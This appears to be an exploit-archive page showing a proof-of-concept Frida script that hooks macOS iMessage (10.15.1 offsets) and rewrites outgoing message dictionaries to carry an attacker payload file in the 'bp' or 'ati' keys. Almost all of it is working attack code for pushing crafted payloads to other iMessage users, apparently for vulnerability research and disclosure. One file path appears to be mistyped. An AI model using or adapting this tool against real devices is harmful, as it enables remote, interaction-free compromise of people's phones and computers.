4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / hook.js JS
// Returns a string representation of an objC object.
function po(p) {
  return ObjC.Object(p).toString();
}

const iMessageBase = Module.findBaseAddress('iMessage')

// Offset fr macOS 10.15.1
const offset = 0xA21F
const deliveryReceiptHandlerAddress = iMessageBase.add(offset)
send(`Hooking - [MessageServiceSession handler:messageIDDelivered:...] @ ${deliveryReceiptHandlerAddress}`)
Interceptor.attach(deliveryReceiptHandlerAddress, {
  onEnter: function (args) {
    send('DELIVERY_RECEIPT')
  }
})

const jwEncodeDictionaryAddress = Module.getExportByName(null, 'JWEncodeDictionary')
send(`Hooking JWEncodeDictionary @ ${jwEncodeDictionaryAddress}`)
Interceptor.attach(jwEncodeDictionaryAddress, {
  onEnter: function (args) {
    const dict = ObjC.Object(args[0])
    if (!dict) {
      return
    }

    const t = dict.objectForKey_('t')
    if (!t) {
      return
    }

    if (t === 'INJECT_BP') {
      send(`Injecting BP key for message ${dict}`)
      const newDict = ObjC.classes.NSMutableDictionary.dictionaryWithDictionary_(dict)
      const d = ObjC.classes.NSData.dataWithContentsOfFile_('/private/var/tmp/com.apple.message/payload')
      newDict.setObject_forKey_('com.apple.messages.MSMessageExtensionBalloonPlugin', 'bid')
      newDict.setObject_forKey_(d, 'bp')
      newDict.setObject_forKey_('You are being hacked, please wait ...', 't')
      newDict.setObject_forKey_('<html><body>You are being hacked, please wait...</body></html>', 'x')
      args[0] = newDict.handle
    } else if (t === 'INJECT_ATI') {
      send(`Injecting ATI key for message: ${dict}`)
      const newDict = ObjC.classes.NSMutableDictionary.dictionaryWithDictionary_(dict)
      const d = ObjC.classes.NSData.dataWithContentsOfFile_('/private/var/tp/com.apple.message/payload')
      newDict.setObject_forKey_(d, 'ati')

      newDict.removeObjectForKey_('t')
      newDict.removeObjectForKey_('t')

      send('Ok')
      args[0] = newDict.handle
    }

  }
})

send('READY')